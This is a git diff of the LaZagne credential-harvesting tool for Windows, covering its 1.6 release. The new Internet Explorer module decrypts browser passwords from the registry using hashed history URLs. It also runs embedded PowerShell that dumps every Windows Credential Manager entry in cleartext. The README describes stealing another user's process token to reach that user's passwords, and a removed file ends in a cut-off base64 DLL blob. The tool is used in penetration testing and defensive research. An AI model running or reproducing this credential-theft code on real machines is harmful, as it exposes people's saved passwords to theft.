diff --git a/CHANGELOG b/CHANGELOG index afc6562a..86ecb6d9 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,9 @@ +LaZagne 1.6 (05/09/2016) +- Only Windows: + * Internet Explorer history retrieved using powershell - no more dll written on the disk (all in memory) + * Internet Explorer passwords stored in the credential manager retrieved (for Win8 and higher) + * Wifi bug fixed + LaZagne 1.5 (01/08/2016) - Only Windows: * New modules (thanks to righettod => https://github.com/righettod): diff --git a/README.md b/README.md index 5869826b..d0d20097 100755 --- a/README.md +++ b/README.md @@ -57,11 +57,6 @@ It uses two ways to do that: * If a process from another user is launched (using runas or if many users are connected to the same host), it manages to steal a process token to launch laZagne with its privileges (this is the best way). It could retrieve passwords stored encrypted with the Windows API. * If no process has been launched but other user exists (visible on the file system in C:\Users\...), it browses the file system in order to retrieve passwords from these users. However, it could not retrieve passwords encrypted with the Windows API (we have to be on the same context as the user to decrypt these passwords). Only few passwords could be retrieved (Firefox, Jitsi, Dbvis, etc.). -IE Browser history ----- -Internet Explorer passwords (from IE7 and before Windows 8) can only be decrypted using the URL of the website. This one is used as an argument of the Win32CryptUnprotectData api. Thus, using the browsing history of ie will permit to decrypt many passwords. -To do that, I used a dll written in C code (the code is in the "browser_history_dll" directory) and it is directly embedded to the Python code as a Base64 string (c.f. ie.py). Once launched, the dll is written on the disk, a wrapper is used to call dll functions and then the dll file is removed from the disk. - Windows hashes ---- To dump windows hashes and LSA Secrets, the impacket library has been used: https://github.com/CoreSecurity/impacket @@ -77,8 +72,8 @@ To do that, some code standards are to be met: * Add on the config.manageModules.py file your class name and your import -* The output containing all passwords has to be send to the "print_output" function - ex: print_output(software_name, password_list) - * password_list has to be an array of dictionnaries. +* The run function has to return an array of dictionnaries + * ex: [{"Username": "emiliano", "Password":"ZapaTa", "URL": "http://mail.com"}] * Optional: you could use the function "print_debug" to print your output * ex: print_debug("ERROR", "Failed to load ...") diff --git a/Windows/src/LaZagne/laZagne.py b/Windows/laZagne.py similarity index 94% rename from Windows/src/LaZagne/laZagne.py rename to Windows/laZagne.py index f5e68c9d..e9ef61b6 100755 --- a/Windows/src/LaZagne/laZagne.py +++ b/Windows/laZagne.py @@ -19,7 +19,7 @@ # Softwares that passwords can be retrieved without needed to be in the user environmment from lazagne.softwares.browsers.mozilla import Mozilla -from lazagne.softwares.wifi.wifipass import WifiPass +from lazagne.softwares.wifi.wifi import Wifi from lazagne.softwares.windows.secrets import Secrets from lazagne.softwares.chats.jitsi import Jitsi from lazagne.softwares.chats.pidgin import Pidgin @@ -428,8 +428,12 @@ def error(self, message): if isChild: constant.output = 'json' try: - Secrets().run() - WifiPass().run() + if "windows" in argv or "all" in argv: + Secrets().run() + + elif "wifi" in argv or "all" in argv: + pwdFound = Wifi().run() + print_output('Wifi', pwdFound) except Exception,e: print_debug('ERROR', e) pass @@ -447,8 +451,12 @@ def error(self, message): # Get all privilege passwords print '\n\n########## User: SYSTEM ##########\n' try: - Secrets().run() - WifiPass().run() + if "windows" in argv or "all" in argv: + Secrets().run() + + elif "wifi" in argv or "all" in argv: + pwdFound = Wifi().run() + print_output('Wifi', pwdFound) stdoutRes.append(constant.finalResults) except Exception,e: print_debug('ERROR', e) @@ -502,7 +510,6 @@ def error(self, message): json.dump(json.dumps(chld), f) print '[+] File written: ' + constant.folder_name + os.sep + constant.file_name_results + '.json' - # Write to a txt file if constant.output != 'json': with open(constant.folder_name + os.sep + constant.file_name_results + '.txt', 'a+b') as f: @@ -562,4 +569,4 @@ def error(self, message): print_footer() elapsed_time = time.time() - start_time -print 'elapsed time = ' + str(elapsed_time) +print '\nelapsed time = ' + str(elapsed_time) diff --git a/Windows/src/LaZagne/lazagne/__init__.py b/Windows/lazagne/__init__.py similarity index 100% rename from Windows/src/LaZagne/lazagne/__init__.py rename to Windows/lazagne/__init__.py diff --git a/Windows/src/LaZagne/lazagne/config/__init__.py b/Windows/lazagne/config/__init__.py similarity index 100% rename from Windows/src/LaZagne/lazagne/config/__init__.py rename to Windows/lazagne/config/__init__.py diff --git a/Windows/src/LaZagne/lazagne/config/changePrivileges.py b/Windows/lazagne/config/changePrivileges.py similarity index 100% rename from Windows/src/LaZagne/lazagne/config/changePrivileges.py rename to Windows/lazagne/config/changePrivileges.py diff --git a/Windows/src/LaZagne/lazagne/config/constant.py b/Windows/lazagne/config/constant.py similarity index 90% rename from Windows/src/LaZagne/lazagne/config/constant.py rename to Windows/lazagne/config/constant.py index 1677ebdd..e1605713 100755 --- a/Windows/src/LaZagne/lazagne/config/constant.py +++ b/Windows/lazagne/config/constant.py @@ -3,7 +3,7 @@ class constant(): folder_name = 'results' file_name_results = 'credentials' # the extention is added depending on the user output choice MAX_HELP_POSITION = 27 - CURRENT_VERSION = '1.5' + CURRENT_VERSION = '1.6' output = None file_logger = None diff --git a/Windows/src/LaZagne/lazagne/config/dico.py b/Windows/lazagne/config/dico.py similarity index 100% rename from Windows/src/LaZagne/lazagne/config/dico.py rename to Windows/lazagne/config/dico.py diff --git a/Windows/src/LaZagne/lazagne/config/get_system_priv.py b/Windows/lazagne/config/get_system_priv.py similarity index 100% rename from Windows/src/LaZagne/lazagne/config/get_system_priv.py rename to Windows/lazagne/config/get_system_priv.py diff --git a/Windows/src/LaZagne/lazagne/config/header.py b/Windows/lazagne/config/header.py similarity index 100% rename from Windows/src/LaZagne/lazagne/config/header.py rename to Windows/lazagne/config/header.py diff --git a/Windows/src/LaZagne/lazagne/config/manageModules.py b/Windows/lazagne/config/manageModules.py similarity index 94% rename from Windows/src/LaZagne/lazagne/config/manageModules.py rename to Windows/lazagne/config/manageModules.py index 559503c9..5d45ff61 100755 --- a/Windows/src/LaZagne/lazagne/config/manageModules.py +++ b/Windows/lazagne/config/manageModules.py @@ -28,7 +28,6 @@ from lazagne.softwares.chats.jitsi import Jitsi # wifi from lazagne.softwares.wifi.wifi import Wifi -from lazagne.softwares.wifi.wifipass import WifiPass # mails from lazagne.softwares.mails.outlook import Outlook # databases @@ -84,7 +83,6 @@ def get_modules(): Squirrel(), Turba(), Wifi(), - WifiPass(), WinSCP(), GitForWindows(), MavenRepositories(), diff --git a/Windows/src/LaZagne/lazagne/config/moduleInfo.py b/Windows/lazagne/config/moduleInfo.py similarity index 100% rename from Windows/src/LaZagne/lazagne/config/moduleInfo.py rename to Windows/lazagne/config/moduleInfo.py diff --git a/Windows/src/LaZagne/lazagne/config/write_output.py b/Windows/lazagne/config/write_output.py similarity index 100% rename from Windows/src/LaZagne/lazagne/config/write_output.py rename to Windows/lazagne/config/write_output.py diff --git a/Windows/src/LaZagne/lazagne/softwares/__init__.py b/Windows/lazagne/softwares/__init__.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/__init__.py rename to Windows/lazagne/softwares/__init__.py diff --git a/Windows/src/LaZagne/lazagne/softwares/browsers/__init__.py b/Windows/lazagne/softwares/browsers/__init__.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/browsers/__init__.py rename to Windows/lazagne/softwares/browsers/__init__.py diff --git a/Windows/src/LaZagne/lazagne/softwares/browsers/chrome.py b/Windows/lazagne/softwares/browsers/chrome.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/browsers/chrome.py rename to Windows/lazagne/softwares/browsers/chrome.py diff --git a/Windows/lazagne/softwares/browsers/ie.py b/Windows/lazagne/softwares/browsers/ie.py new file mode 100755 index 00000000..ddb36304 --- /dev/null +++ b/Windows/lazagne/softwares/browsers/ie.py @@ -0,0 +1,282 @@ +import win32con, win32api, win32cred +import subprocess +import struct, hashlib, os, base64 +from ctypes import * +from ctypes.wintypes import DWORD +from lazagne.config.constant import * +from lazagne.config.write_output import print_debug +from lazagne.config.moduleInfo import ModuleInfo + +memcpy = cdll.msvcrt.memcpy +LocalFree = windll.kernel32.LocalFree +CryptUnprotectData = windll.crypt32.CryptUnprotectData +CRYPTPROTECT_UI_FORBIDDEN = 0x01 +pwdFound = [] + +class DATA_BLOB(Structure): + _fields_ = [ + ('cbData', DWORD), + ('pbData', POINTER(c_char)) + ] + +class IE(ModuleInfo): + def __init__(self): + options = {'command': '-e', 'action': 'store_true', 'dest': 'Internet Explorer', 'help': 'internet explorer (stored in registry and using the credential manager)'} + suboptions = [{'command': '-l', 'action': 'store', 'dest': 'historic', 'help': 'text file with a list of websites', 'title': 'Advanced ie option'}] + ModuleInfo.__init__(self, 'ie', 'browsers', options, suboptions) + + def getData(self, blobOut): + cbData = int(blobOut.cbData) + pbData = blobOut.pbData + buffer = c_buffer(cbData) + + memcpy(buffer, pbData, cbData) + LocalFree(pbData); + return buffer.raw + + def Win32CryptUnprotectData(self, cipherText, entropy): + bufferIn = c_buffer(cipherText, len(cipherText)) + blobIn = DATA_BLOB(len(cipherText), bufferIn) + bufferEntropy = c_buffer(entropy, len(entropy)) + blobEntropy = DATA_BLOB(len(entropy), bufferEntropy) + blobOut = DATA_BLOB() + if CryptUnprotectData(byref(blobIn), None, byref(blobEntropy), None, None, 0, byref(blobOut)): + return self.getData(blobOut) + else: + return 'failed' + + def get_hash_table(self, lists): + # get the url list + urls = self.get_history() + urls = urls + lists + + # calculate the hash for all urls found on the history + hash_tables = [] + for u in range(len(urls)): + try: + h = (urls[u] + '\0').encode('UTF-16LE') + hash_tables.append([h, hashlib.sha1(h).hexdigest().lower()]) + except Exception,e: + print_debug('DEBUG', '{0}'.format(e)) + return hash_tables + + def get_history(self): + urls = self.history_from_regedit() + try: + urls = urls + self.history_from_powershell() + except Exception,e: + print_debug('DEBUG', '{0}'.format(e)) + print_debug('ERROR', 'Browser history failed to load, only few url will be tried') + + urls = urls + ['https://www.facebook.com/', 'https://www.gmail.com/', 'https://accounts.google.com/', 'https://accounts.google.com/servicelogin'] + return urls + + def history_from_powershell(self): + # From https://richardspowershellblog.wordpress.com/2011/06/29/ie-history-to-csv/ + cmdline = ''' + function get-iehistory { + [CmdletBinding()] + param () + + $shell = New-Object -ComObject Shell.Application + $hist = $shell.NameSpace(34) + $folder = $hist.Self + + $hist.Items() | + foreach { + if ($_.IsFolder) { + $siteFolder = $_.GetFolder + $siteFolder.Items() | + foreach { + $site = $_ + + if ($site.IsFolder) { + $pageFolder = $site.GetFolder + $pageFolder.Items() | + foreach { + $visit = New-Object -TypeName PSObject -Property @{ + URL = $($pageFolder.GetDetailsOf($_,0)) + } + $visit + } + } + } + } + } + } + get-iehistory + ''' + command=['powershell.exe', '/c', cmdline] + res = subprocess.check_output(command, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, universal_newlines=True) + urls = [] + for r in res.split('\n'): + if r.startswith('http'): + urls.append(r.strip()) + return urls + + def history_from_regedit(self): + urls = [] + + # open the registry + accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE + keyPath = 'Software\\Microsoft\\Internet Explorer\\TypedURLs' + + try: + hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead) + except Exception,e: + print_debug('DEBUG', '{0}'.format(e)) + return [] + + num = win32api.RegQueryInfoKey(hkey)[1] + for x in range(0, num): + k = win32api.RegEnumValue(hkey, x) + if k: + urls.append(k[1]) + return urls + + def decipher_password(self, cipher_text, u): + pfound = [] + # deciper the password + pwd = self.Win32CryptUnprotectData(cipher_text, u) + a = None + for i in range(len(pwd)): + try: + a = pwd[i:].decode('UTF-16LE') + a = a.decode('utf-8') + break + except Exception,e: + pass + result = '' + + # the last one is always equal to 0 + secret = a.split('\x00') + if secret[len(secret)-1] == '': + secret = secret[:len(secret)-1] + + # define the length of the tab + if len(secret) % 2 == 0: + length = len(secret) + else: + length = len(secret)-1 + + values = {} + # list username / password in clear text + for s in range(length): + try: + if s % 2 != 0: + values = {} + values['Website'] = u.decode('UTF-16LE') + values['Username'] = secret[length - s] + values['Password'] = password + pfound.append(values) + else: + password = secret[length - s] + except Exception,e: + print_debug('DEBUG', '{0}'.format(e)) + + return pfound + + # get credential manager passwords + def windows_vault_ie(self): + # From : https://gallery.technet.microsoft.com/Manipulate-credentials-in-58e0f761 + cmdline = ''' + try + { + #Load the WinRT projection for the PasswordVault + $Script:vaultType = [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] + $Script:vault = new-object Windows.Security.Credentials.PasswordVault -ErrorAction silentlycontinue + } + catch + { + throw "This module relies on functionality provided in Windows 8 or Windows 2012 and above." + } + #endregion + + function Get-VaultCredential + { + process + { + try + { + &{ + $Script:vault.RetrieveAll() + } | foreach-Object { $_.RetrievePassword() ; "Username......";$_.UserName;"######";"Password......";$_.Password;"######";"Website......";$_.Resource;"_________" } + } + catch + { + Write-Error -ErrorRecord $_ -RecommendedAction "Check your search input - user: $UserName resource: $Resource" + } + } + end + { + Write-Debug "[$cmdName] Exiting function" + } + } + Get-VaultCredential + ''' + + command=['powershell.exe', '/c', cmdline] + results = subprocess.check_output(command, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, universal_newlines=True) + passwords = [] + for result in results.replace('\n', '').split('_________'): + values = {} + if result: + for res in result.split('######'): + values[res.split('......')[0]] = res.split('......')[1] + passwords.append(values) + return passwords + + def run(self, historic=''): + pwdFound = [] + + # ----------------- For Win7 and before (passwords stored on registry) ----------------- + # open the registry + accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE + keyPath = 'Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2' + + failed = False + try: + hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead) + except Exception,e: + print_debug('DEBUG', '{0}'.format(e)) + failed = True + + if failed == False: + nb_site = 0 + nb_pass_found = 0 + lists = [] + if historic: + if os.path.exists(historic): + f = open(historic, 'r') + for line in f: + lists.append(line.strip()) + else: + print_debug('WARNING', 'The text file %s does not exist' % historic) + + # retrieve the urls from the history + hash_tables = self.get_hash_table(lists) + + num = win32api.RegQueryInfoKey(hkey)[1] + for x in range(0, num): + k = win32api.RegEnumValue(hkey, x) + if k: + nb_site +=1 + for h in hash_tables: + # both hash are similar, we can decipher the password + if h[1] == k[0][:40].lower(): + nb_pass_found += 1 + cipher_text = k[1] + pwdFound += self.decipher_password(cipher_text, h[0]) + break + + # manage errors + if nb_site > nb_pass_found: + print_debug('ERROR', '%s hashes have not been decrypted, the associate website used to decrypt the passwords has not been found' % str(nb_site - nb_pass_found)) + + # ----------------- For Win8 and after (passwords stored on the credential manager) ----------------- + try: + pwdFound += self.windows_vault_ie() + except: + print_debug('DEBUG', '{0}'.format(e)) + + return pwdFound \ No newline at end of file diff --git a/Windows/src/LaZagne/lazagne/softwares/browsers/mozilla.py b/Windows/lazagne/softwares/browsers/mozilla.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/browsers/mozilla.py rename to Windows/lazagne/softwares/browsers/mozilla.py diff --git a/Windows/src/LaZagne/lazagne/softwares/browsers/opera.py b/Windows/lazagne/softwares/browsers/opera.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/browsers/opera.py rename to Windows/lazagne/softwares/browsers/opera.py diff --git a/Windows/src/LaZagne/lazagne/softwares/chats/__init__.py b/Windows/lazagne/softwares/chats/__init__.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/chats/__init__.py rename to Windows/lazagne/softwares/chats/__init__.py diff --git a/Windows/src/LaZagne/lazagne/softwares/chats/jitsi.py b/Windows/lazagne/softwares/chats/jitsi.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/chats/jitsi.py rename to Windows/lazagne/softwares/chats/jitsi.py diff --git a/Windows/src/LaZagne/lazagne/softwares/chats/pbkdf2.py b/Windows/lazagne/softwares/chats/pbkdf2.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/chats/pbkdf2.py rename to Windows/lazagne/softwares/chats/pbkdf2.py diff --git a/Windows/src/LaZagne/lazagne/softwares/chats/pidgin.py b/Windows/lazagne/softwares/chats/pidgin.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/chats/pidgin.py rename to Windows/lazagne/softwares/chats/pidgin.py diff --git a/Windows/src/LaZagne/lazagne/softwares/chats/skype.py b/Windows/lazagne/softwares/chats/skype.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/chats/skype.py rename to Windows/lazagne/softwares/chats/skype.py diff --git a/Windows/src/LaZagne/lazagne/softwares/databases/__init__.py b/Windows/lazagne/softwares/databases/__init__.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/databases/__init__.py rename to Windows/lazagne/softwares/databases/__init__.py diff --git a/Windows/src/LaZagne/lazagne/softwares/databases/dbvis.py b/Windows/lazagne/softwares/databases/dbvis.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/databases/dbvis.py rename to Windows/lazagne/softwares/databases/dbvis.py diff --git a/Windows/src/LaZagne/lazagne/softwares/databases/sqldeveloper.py b/Windows/lazagne/softwares/databases/sqldeveloper.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/databases/sqldeveloper.py rename to Windows/lazagne/softwares/databases/sqldeveloper.py diff --git a/Windows/src/LaZagne/lazagne/softwares/databases/squirrel.py b/Windows/lazagne/softwares/databases/squirrel.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/databases/squirrel.py rename to Windows/lazagne/softwares/databases/squirrel.py diff --git a/Windows/src/LaZagne/lazagne/softwares/games/__init__.py b/Windows/lazagne/softwares/games/__init__.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/games/__init__.py rename to Windows/lazagne/softwares/games/__init__.py diff --git a/Windows/src/LaZagne/lazagne/softwares/games/galconfusion.py b/Windows/lazagne/softwares/games/galconfusion.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/games/galconfusion.py rename to Windows/lazagne/softwares/games/galconfusion.py diff --git a/Windows/src/LaZagne/lazagne/softwares/games/kalypsomedia.py b/Windows/lazagne/softwares/games/kalypsomedia.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/games/kalypsomedia.py rename to Windows/lazagne/softwares/games/kalypsomedia.py diff --git a/Windows/src/LaZagne/lazagne/softwares/games/roguestale.py b/Windows/lazagne/softwares/games/roguestale.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/games/roguestale.py rename to Windows/lazagne/softwares/games/roguestale.py diff --git a/Windows/src/LaZagne/lazagne/softwares/games/turba.py b/Windows/lazagne/softwares/games/turba.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/games/turba.py rename to Windows/lazagne/softwares/games/turba.py diff --git a/Windows/src/LaZagne/lazagne/softwares/git/__init__.py b/Windows/lazagne/softwares/git/__init__.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/git/__init__.py rename to Windows/lazagne/softwares/git/__init__.py diff --git a/Windows/src/LaZagne/lazagne/softwares/git/gitforwindows.py b/Windows/lazagne/softwares/git/gitforwindows.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/git/gitforwindows.py rename to Windows/lazagne/softwares/git/gitforwindows.py diff --git a/Windows/src/LaZagne/lazagne/softwares/mails/__init__.py b/Windows/lazagne/softwares/mails/__init__.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/mails/__init__.py rename to Windows/lazagne/softwares/mails/__init__.py diff --git a/Windows/src/LaZagne/lazagne/softwares/mails/outlook.py b/Windows/lazagne/softwares/mails/outlook.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/mails/outlook.py rename to Windows/lazagne/softwares/mails/outlook.py diff --git a/Windows/src/LaZagne/lazagne/softwares/maven/__init__.py b/Windows/lazagne/softwares/maven/__init__.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/maven/__init__.py rename to Windows/lazagne/softwares/maven/__init__.py diff --git a/Windows/src/LaZagne/lazagne/softwares/maven/mavenrepositories.py b/Windows/lazagne/softwares/maven/mavenrepositories.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/maven/mavenrepositories.py rename to Windows/lazagne/softwares/maven/mavenrepositories.py diff --git a/Windows/src/LaZagne/lazagne/softwares/svn/__init__.py b/Windows/lazagne/softwares/svn/__init__.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/svn/__init__.py rename to Windows/lazagne/softwares/svn/__init__.py diff --git a/Windows/src/LaZagne/lazagne/softwares/svn/tortoise.py b/Windows/lazagne/softwares/svn/tortoise.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/svn/tortoise.py rename to Windows/lazagne/softwares/svn/tortoise.py diff --git a/Windows/src/LaZagne/lazagne/softwares/sysadmin/__init__.py b/Windows/lazagne/softwares/sysadmin/__init__.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/sysadmin/__init__.py rename to Windows/lazagne/softwares/sysadmin/__init__.py diff --git a/Windows/src/LaZagne/lazagne/softwares/sysadmin/apachedirectorystudio.py b/Windows/lazagne/softwares/sysadmin/apachedirectorystudio.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/sysadmin/apachedirectorystudio.py rename to Windows/lazagne/softwares/sysadmin/apachedirectorystudio.py diff --git a/Windows/src/LaZagne/lazagne/softwares/sysadmin/coreftp.py b/Windows/lazagne/softwares/sysadmin/coreftp.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/sysadmin/coreftp.py rename to Windows/lazagne/softwares/sysadmin/coreftp.py diff --git a/Windows/src/LaZagne/lazagne/softwares/sysadmin/cyberduck.py b/Windows/lazagne/softwares/sysadmin/cyberduck.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/sysadmin/cyberduck.py rename to Windows/lazagne/softwares/sysadmin/cyberduck.py diff --git a/Windows/src/LaZagne/lazagne/softwares/sysadmin/filezilla.py b/Windows/lazagne/softwares/sysadmin/filezilla.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/sysadmin/filezilla.py rename to Windows/lazagne/softwares/sysadmin/filezilla.py diff --git a/Windows/src/LaZagne/lazagne/softwares/sysadmin/ftpnavigator.py b/Windows/lazagne/softwares/sysadmin/ftpnavigator.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/sysadmin/ftpnavigator.py rename to Windows/lazagne/softwares/sysadmin/ftpnavigator.py diff --git a/Windows/src/LaZagne/lazagne/softwares/sysadmin/opensshforwindows.py b/Windows/lazagne/softwares/sysadmin/opensshforwindows.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/sysadmin/opensshforwindows.py rename to Windows/lazagne/softwares/sysadmin/opensshforwindows.py diff --git a/Windows/src/LaZagne/lazagne/softwares/sysadmin/puttycm.py b/Windows/lazagne/softwares/sysadmin/puttycm.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/sysadmin/puttycm.py rename to Windows/lazagne/softwares/sysadmin/puttycm.py diff --git a/Windows/src/LaZagne/lazagne/softwares/sysadmin/winscp.py b/Windows/lazagne/softwares/sysadmin/winscp.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/sysadmin/winscp.py rename to Windows/lazagne/softwares/sysadmin/winscp.py diff --git a/Windows/src/LaZagne/lazagne/softwares/wifi/__init__.py b/Windows/lazagne/softwares/wifi/__init__.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/wifi/__init__.py rename to Windows/lazagne/softwares/wifi/__init__.py diff --git a/Windows/src/LaZagne/lazagne/softwares/wifi/wifipass.py b/Windows/lazagne/softwares/wifi/wifi.py similarity index 68% rename from Windows/src/LaZagne/lazagne/softwares/wifi/wifipass.py rename to Windows/lazagne/softwares/wifi/wifi.py index f320fdbd..9aee1a0c 100755 --- a/Windows/src/LaZagne/lazagne/softwares/wifi/wifipass.py +++ b/Windows/lazagne/softwares/wifi/wifi.py @@ -4,17 +4,18 @@ import tempfile, socket from ctypes import * from lazagne.config.moduleInfo import ModuleInfo -import argparse +from lazagne.config.write_output import print_debug -class WifiPass(ModuleInfo): +class Wifi(ModuleInfo): def __init__(self): - options = {'command': '--HiddenWifiArgs', 'action': 'store_true', 'dest': 'wifipass', 'help': argparse.SUPPRESS} - ModuleInfo.__init__(self, 'wifipass', 'wifi', options) + options = {'command': '-wi', 'action': 'store_true', 'dest': 'wifi', 'help': 'Vista and higher - Need System Privileges'} + ModuleInfo.__init__(self, 'Wifi', 'wifi', options) # used when launched with a system account def run(self, software_name = None): # need to be admin privilege, to find passwords if not windll.Shell32.IsUserAnAdmin(): + print_debug('WARNING', '[!] This script should be run as admin!') return else: directory = '' @@ -63,27 +64,4 @@ def run(self, software_name = None): # store credentials if len(values) != 0: pwdFound.append(values) - # print the results - # print_output('Wifi', pwdFound) - return pwdFound - - # If at least one password has been found, we create the file in temp directory - # if passwordFound: - # try: - # filepath = tempfile.gettempdir() - # tmp = '' - # cpt = 1 - # for pwd in pwdFound: - # tmp += '[wifi%s]\r\n' % str(cpt) - # cpt += 1 - # for p in pwd.keys(): - # tmp = str(tmp) + str(p) + '=' + str(pwd[p]) + '\r\n' - # tmp = str(tmp) + '\r\n' - # open(filepath + os.sep + 'TEMP123A.txt','w').write(tmp) - # except: - # pass - - - - - \ No newline at end of file + return pwdFound \ No newline at end of file diff --git a/Windows/src/LaZagne/lazagne/softwares/windows/__init__.py b/Windows/lazagne/softwares/windows/__init__.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/windows/__init__.py rename to Windows/lazagne/softwares/windows/__init__.py diff --git a/Windows/src/LaZagne/lazagne/softwares/windows/dot_net.py b/Windows/lazagne/softwares/windows/dot_net.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/windows/dot_net.py rename to Windows/lazagne/softwares/windows/dot_net.py diff --git a/Windows/src/LaZagne/lazagne/softwares/windows/network.py b/Windows/lazagne/softwares/windows/network.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/windows/network.py rename to Windows/lazagne/softwares/windows/network.py diff --git a/Windows/src/LaZagne/lazagne/softwares/windows/secrets.py b/Windows/lazagne/softwares/windows/secrets.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/windows/secrets.py rename to Windows/lazagne/softwares/windows/secrets.py diff --git a/Windows/src/LaZagne/lazagne/softwares/windows/secretsdump.py b/Windows/lazagne/softwares/windows/secretsdump.py similarity index 100% rename from Windows/src/LaZagne/lazagne/softwares/windows/secretsdump.py rename to Windows/lazagne/softwares/windows/secretsdump.py diff --git a/Windows/src/LaZagne/lazagne/softwares/browsers/ie.py b/Windows/src/LaZagne/lazagne/softwares/browsers/ie.py deleted file mode 100755 index c5b53b89..00000000 --- a/Windows/src/LaZagne/lazagne/softwares/browsers/ie.py +++ /dev/null @@ -1,354 +0,0 @@ -import win32con, win32api, win32cred -import struct, hashlib, os, base64 -from ctypes import * -from ctypes.wintypes import DWORD -from lazagne.config.constant import * -from lazagne.config.write_output import print_debug -from lazagne.config.moduleInfo import ModuleInfo - -memcpy = cdll.msvcrt.memcpy -LocalFree = windll.kernel32.LocalFree -CryptUnprotectData = windll.crypt32.CryptUnprotectData -CRYPTPROTECT_UI_FORBIDDEN = 0x01 - -dll_name = "web_history.dll" -pwdFound = [] - -class DATA_BLOB(Structure): - _fields_ = [ - ('cbData', DWORD), - ('pbData', POINTER(c_char)) - ] - -class IE(ModuleInfo): - def __init__(self): - options = {'command': '-e', 'action': 'store_true', 'dest': 'ie', 'help': 'internet explorer from version 7 to 11 (but not with win8)'} - suboptions = [{'command': '-l', 'action': 'store', 'dest': 'historic', 'help': 'text file with a list of websites', 'title': 'Advanced ie option'}] - ModuleInfo.__init__(self, 'ie', 'browsers', options, suboptions) - - def getData(self, blobOut): - cbData = int(blobOut.cbData) - pbData = blobOut.pbData - buffer = c_buffer(cbData) - - memcpy(buffer, pbData, cbData) - LocalFree(pbData); - return buffer.raw - - def Win32CryptUnprotectData(self, cipherText, entropy): - bufferIn = c_buffer(cipherText, len(cipherText)) - blobIn = DATA_BLOB(len(cipherText), bufferIn) - bufferEntropy = c_buffer(entropy, len(entropy)) - blobEntropy = DATA_BLOB(len(entropy), bufferEntropy) - blobOut = DATA_BLOB() - if CryptUnprotectData(byref(blobIn), None, byref(blobEntropy), None, None, 0, byref(blobOut)): - return self.getData(blobOut) - else: - return 'failed' - - def get_hash_table(self, list): - # get the url list - urls = self.get_history() - urls = urls + list - - # calculate the hash for all urls found on the history - hash_tables = [] - for u in range(len(urls)): - try: - h = (urls[u] + '\0').encode('UTF-16LE') - hash_tables.append([h, hashlib.sha1(h).hexdigest().lower()]) - except Exception,e: - print_debug('DEBUG', '{0}'.format(e)) - return hash_tables - - def write_binary_file(self): - coded_string = '''TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v -ZGUuDQ0KJAAAAAAAAAC9U+MB+TKNUvkyjVL5Mo1SlkQRUvsyjVKWRBNS+DKNUpZEJ1L1Mo1SlkQm -UvsyjVLwSg5S+zKNUvBKHlL8Mo1S+TKMUt0yjVKWRCJS+jKNUpZEFlL4Mo1SlkQQUvgyjVJSaWNo -+TKNUgAAAAAAAAAAAAAAAAAAAABQRQAATAEFAMGCy1QAAAAAAAAAAOAAAiELAQoAAAoAAAAOAAAA -AAAAqBQAAAAQAAAAIAAAAAAAEAAQAAAAAgAABQABAAAAAAAFAAEAAAAAAABgAAAABAAAvi8AAAIA -QAEAABAAABAAAAAAEAAAEAAAAAAAABAAAADQJQAARAAAABwiAABQAAAAAEAAALQBAAAAAAAAAAAA 